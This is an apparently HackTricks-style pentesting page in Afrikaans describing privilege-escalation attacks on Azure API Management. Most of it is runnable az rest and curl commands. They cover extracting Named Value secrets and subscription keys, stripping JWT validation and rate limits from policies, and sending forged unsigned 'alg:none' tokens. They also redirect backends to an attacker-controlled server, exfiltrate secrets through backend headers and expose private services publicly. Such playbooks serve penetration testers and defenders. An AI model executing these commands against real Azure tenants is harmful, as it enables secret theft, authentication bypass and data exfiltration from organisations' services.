# Az - API Management Privesc

{{#include ../../../banners/hacktricks-training.md}}

## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`

Die aanval bestaan uit die verkryging van sensitiewe secrets wat in Azure API Management Named Values gestoor is, hetsy deur die direkte herwinning van secret values of deur toestemmings te misbruik om Key Vault–backed secrets via managed identities te bekom.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Vir elke subscription kan die aanvaller die subscription-sleutels verkry deur die listSecrets-eindpunt met die POST-metode te gebruik:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Die antwoord sluit die subskripsie primary key (primaryKey) en secondary key (secondaryKey) in. Met hierdie sleutels kan die aanvaller verifieer en toegang kry tot die APIs wat deur die API Management Gateway gepubliseer is:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Die aanvaller kan toegang hê tot alle APIs en produkte wat met die subskripsie geassosieer is. As die subskripsie toegang het tot sensitiewe produkte of APIs, kan die aanvaller vertroulike inligting bekom of ongeoorloofde bedrywighede uitvoer.

## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`

Die aanvaller haal eers die huidige API-beleid af:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Die attacker kan die beleid op verskeie maniere wysig, afhangend van hul doelwitte. Byvoorbeeld, om authentication uit te skakel, as die beleid JWT token validation insluit, kan die attacker daardie afdeling verwyder of uitkommentarieer:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Om rate limiting controls te verwyder en denial-of-service attacks toe te laat, kan die aanvaller quota en rate-limit policies verwyder of uitkommenteer:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Om die backend-roete te wysig en verkeer na 'n deur die aanvaller beheerde bediener te herlei:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
Die aanvaller pas dan die gewysigde beleid toe. Die versoekliggaam moet 'n JSON-objek wees wat die beleid in XML-formaat bevat:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## Miskonfigurasie van JWT-validering

Die aanvaller moet weet dat 'n API JWT token-validasie gebruik en dat die beleid verkeerd gekonfigureer is. Sleg gekonfigureerde JWT-validasie-beleide kan `require-signed-tokens="false"` of `require-expiration-time="false"` hê, wat die diens toelaat om unsigned tokens of tokens wat nooit verval te aanvaar.

Die aanvaller skep 'n kwaadwillige JWT-token wat die none algoritme gebruik (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
Die aanvaller stuur 'n versoek na die API met die kwaadwillige token:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
As die beleid verkeerd opgestel is met `require-signed-tokens="false"`, sal die diens die ongetekende token aanvaar. Die aanvaller kan ook 'n token skep sonder 'n vervaldatum-claim as `require-expiration-time="false"`.

## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Die aanvaller kyk eers na die huidige netwerkconfigurasie van die diens:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Die aanvaller keur die JSON-antwoord na om die waardes van `publicNetworkAccess` en `virtualNetworkType` te verifieer. As `publicNetworkAccess` op false gestel is of `virtualNetworkType` op Internal gestel is, is die diens gekonfigureer vir private toegang.

Om die diens aan die Internet bloot te stel, moet die aanvaller albei instellings verander. As die diens in interne-modus loop (`virtualNetworkType: "Internal"`), verander die aanvaller dit na None of External en skakel openbare netwerktoegang aan. Dit kan gedoen word met die Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Sodra `virtualNetworkType` op `None` of `External` gestel is en `publicNetworkAccess` geaktiveer is, word die diens en al sy APIs vanaf die Internet toeganklik, selfs al was hulle voorheen beskerm agter 'n privaat netwerk of privaat endpunte.

## `Microsoft.ApiManagement/service/backends/write`
Die aanvaller enumereer eers die bestaande backends om te bepaal watter een gewysig moet word:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Die aanvaller haal die huidige konfigurasie van die backend wat hulle wil wysig:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Die aanvaller wysig die backend URL om na 'n bediener onder hul beheer te wys. Eerstens haal hulle die ETag uit die vorige antwoord en werk dan die backend by:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
Alternatiewelik kan die attacker backend headers konfigureer om Named Values containing secrets te exfiltrate. Dit word gedoen deur die backend credentials configuration:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
Met hierdie konfigurasie word Named Values as headers in alle requests na die attacker-controlled backend gestuur, wat die exfiltration van sensitiewe geheime moontlik maak.

{{#include ../../../banners/hacktricks-training.md}}
